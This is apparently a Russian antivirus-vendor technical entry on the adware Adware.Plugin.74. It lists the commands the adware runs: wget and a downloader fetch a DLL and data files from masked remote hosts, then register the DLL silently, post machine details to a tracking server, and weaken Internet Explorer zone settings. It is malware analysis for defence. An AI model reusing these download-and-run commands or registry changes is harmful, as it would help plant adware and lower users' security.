Adware.Plugin.74

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\nsu16.tmp\ns17.tmp' "%TEMP%\wget.exe" -q -O "churl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data"
'%TEMP%\wget.exe' -q -O "churl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data"
'%TEMP%\nsp2.tmp\ns18.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=MZђ/generate_extid.php" "/F=ch.txt"
'%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data" "/F=churl.txt"
'%TEMP%\wget.exe' -q -O "%PROGRAM_FILES%\OApps\SelectionLinks.dll" "http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll"
'%PROGRAM_FILES%\OApps\SelectionLinks.exe'
'%TEMP%\nsp2.tmp\ns14.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data" "/F=churl.txt"
'%PROGRAM_FILES%\OApps\dler.exe' "/P=type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" "/U=http://tr###.nsdiflw.info/diagnose.php" "/F=status2.txt"
'%TEMP%\nsz1E.tmp\ns1F.tmp' "%TEMP%\wget.exe" -q --post-data="type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" -O "status2.txt" "http://tr###.nsdiflw.info/diagnose.php"
'%TEMP%\wget.exe' -q --post-data="type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" -O "status2.txt" "http://tr###.nsdiflw.info/diagnose.php"
'%TEMP%\nsp2.tmp\ns1C.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" "/U=http://tr###.nsdiflw.info/diagnose.php" "/F=status2.txt"
'%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=MZђ/generate_extid.php" "/F=ch.txt"
'%TEMP%\nsh1A.tmp\ns1B.tmp' "%TEMP%\wget.exe" -q -O "ch.txt" "MZђ/generate_extid.php"
'%TEMP%\wget.exe' -q -O "ch.txt" "MZђ/generate_extid.php"
'%TEMP%\nsb11.tmp\ns12.tmp' "%TEMP%\wget.exe" -q -O "%PROGRAM_FILES%\OApps\SelectionLinks.dll" "http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll"
'%TEMP%\nsp2.tmp\ns7.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/js_url.data" "/F=jsurl.txt"
'%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/js_url.data" "/F=jsurl.txt"
'%TEMP%\nss9.tmp\nsA.tmp' "%TEMP%\wget.exe" -q -O "jsurl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/js_url.data"
'%TEMP%\wget.exe' -q -O "tg.txt" "http://tr###.nsdiflw.info/testGroup.php"
'%TEMP%\nsp2.tmp\ns3.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://tr###.nsdiflw.info/testGroup.php" "/F=tg.txt"
'%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://tr###.nsdiflw.info/testGroup.php" "/F=tg.txt"
'%TEMP%\nsh5.tmp\ns6.tmp' "%TEMP%\wget.exe" -q -O "tg.txt" "http://tr###.nsdiflw.info/testGroup.php"
'%TEMP%\wget.exe' -q -O "bhoguid.txt" "http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data"
'%TEMP%\nsp2.tmp\nsF.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/U=http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll" "/F=%PROGRAM_FILES%\OApps\SelectionLinks.dll"
'%PROGRAM_FILES%\OApps\dler.exe' "/U=http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll" "/F=%PROGRAM_FILES%\OApps\SelectionLinks.dll"
'%TEMP%\nsxD.tmp\nsE.tmp' "%TEMP%\wget.exe" -q -O "bhoguid.txt" "http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data"
'%TEMP%\wget.exe' -q -O "jsurl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/js_url.data"
'%TEMP%\nsp2.tmp\nsB.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data" "/F=bhoguid.txt"
'%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data" "/F=bhoguid.txt"

Запускает на исполнение:

'<SYSTEM32>\regsvr32.exe' /s "SelectionLinks.dll"

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'

Изменения в файловой системе:

Создает следующие файлы: